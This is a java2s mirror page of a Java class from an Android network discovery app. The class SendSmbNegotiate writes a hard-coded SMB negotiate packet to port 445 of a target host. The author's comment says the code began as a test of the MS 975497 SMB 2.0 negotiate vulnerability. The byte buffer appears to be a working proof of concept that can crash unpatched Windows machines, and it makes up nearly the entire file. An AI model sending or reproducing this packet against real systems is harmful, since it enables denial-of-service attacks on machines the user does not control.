Android Open Source - android_network_discovery Send Smb Negotiate






From Project

Back to project page android_network_discovery.

License

The source code is released under:

GNU General Public License

If you think the Android project android_network_discovery listed in this page is inappropriate, such as containing malicious code/tools or violating the copyright, please email info at java2s dot com, thanks.

Java Source Code

/*
 * Copyright (C) 2009-2010 Aubort Jean-Baptiste (Rorist)
 * Licensed under GNU's GPL 2, see README
 *///from www. j  a  va 2 s  .  c  o  m

/*
 ACKNOWLEDGE:
 This program was first to test MS 975497 SMB negotiate vuln, ported to java, to test against my own network.
 So there are still some traces of it in the code, and it could become a feature in the future..

 http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html
 */

package info.lamatricexiste.network.Network;

import java.io.IOException;
import java.io.OutputStream;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.Socket;

import android.util.Log;

public class SendSmbNegotiate implements Runnable {
    private final String TAG = "SendSmbNegociate";
    private final int[] buff = { 0x00, 0x00, 0x00, 0x90, 0xff, 0x53, 0x4d, 0x42, 0x72, 0x00, 0x00,
            0x00, 0x00, 0x18, 0x53, 0xc8, 0x00, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xfe, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00,
            0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52, 0x4b, 0x20, 0x50, 0x52,
            0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4c, 0x41, 0x4e,
            0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77,
            0x73, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x57, 0x6f, 0x72, 0x6b, 0x67, 0x72, 0x6f, 0x75,
            0x70, 0x73, 0x20, 0x33, 0x2e, 0x31, 0x61, 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32,
            0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e,
            0x31, 0x00, 0x02, 0x4e, 0x54, 0x20, 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00,
            0x02, 0x53, 0x4d, 0x42, 0x20, 0x32, 0x2e, 0x30, 0x30, 0x32, 0x00 };
    private final int TIMEOUT = 250;
    private final int PORT = 445;
    public InetAddress host = null;

    // public String message = null;

    public void run() {
        Socket s = new Socket();
        try {
            s.bind(null);
            s.connect(new InetSocketAddress(host, PORT), TIMEOUT);
            OutputStream out = s.getOutputStream();
            for (int b : buff) {
                out.write(b);
            }
            out.close();
            s.close();
        } catch (IOException e) {
            Log.e(TAG, e.getMessage());
        }
        // setMessage(host.getHostAddress() + " sent buffer");
    }
}




Java Source Code List

info.lamatricexiste.network.AbstractDiscovery.java
info.lamatricexiste.network.ActivityDiscovery.java
info.lamatricexiste.network.ActivityMain.java
info.lamatricexiste.network.ActivityNet.java
info.lamatricexiste.network.ActivityPortscan.java
info.lamatricexiste.network.AsyncPortscan.java
info.lamatricexiste.network.DatabaseHelper.java
info.lamatricexiste.network.DefaultDiscovery.java
info.lamatricexiste.network.DiscoverActivity.java
info.lamatricexiste.network.DnsDiscovery.java
info.lamatricexiste.network.NetworkChange.java
info.lamatricexiste.network.Network.Banner.java
info.lamatricexiste.network.Network.DownloadFile.java
info.lamatricexiste.network.Network.HardwareAddress.java
info.lamatricexiste.network.Network.HostBean.java
info.lamatricexiste.network.Network.NetInfo.java
info.lamatricexiste.network.Network.OsFingerprint.java
info.lamatricexiste.network.Network.Ping.java
info.lamatricexiste.network.Network.RateControl.java
info.lamatricexiste.network.Network.SendSmbNegotiate.java
info.lamatricexiste.network.Utils.DbUpdate.java
info.lamatricexiste.network.Utils.Db.java
info.lamatricexiste.network.Utils.Export.java
info.lamatricexiste.network.Utils.Help.java
info.lamatricexiste.network.Utils.Prefs.java
info.lamatricexiste.network.Utils.Save.java
info.lamatricexiste.network.Utils.UpdateNicDb.java
info.lamatricexiste.network.connectivity.java
info.lamatricexiste.network.portscan.java
info.lamatricexiste.network.wifiinfo.java